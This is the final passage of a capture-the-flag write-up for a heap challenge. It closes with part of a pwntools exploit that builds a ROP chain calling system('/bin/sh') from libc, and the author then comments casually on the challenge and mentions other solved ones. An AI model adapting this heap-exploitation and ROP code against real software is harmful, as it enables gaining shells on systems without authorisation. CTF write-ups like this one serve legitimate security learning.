    pop_rsi_r15_rbp, 0x100000000, heap_leak + 0x1910, 0x1,
    pop_rdi, next(libc.search(b"/bin/sh\x00")), 
    ret, libc.sym.system
)
add(code, 0x60, payload)

p.interactive() # grey{m4573r_0f_7r335_4nd_h34p}

This challenge was a lot of fun because of how different not having tcache made things (despite having a really simple vuln). I still don’t know how AVL trees work tho…

Other challs

I also solved IP Cam, and Malware together with scuffed (actually they did most of the reversing, I just helped a little with the libc and decrypting the flag). I’m too lazy to write writeups for them (especially IP Cam since I don’t have access to the camera anymore), but still cool challs nonetheless!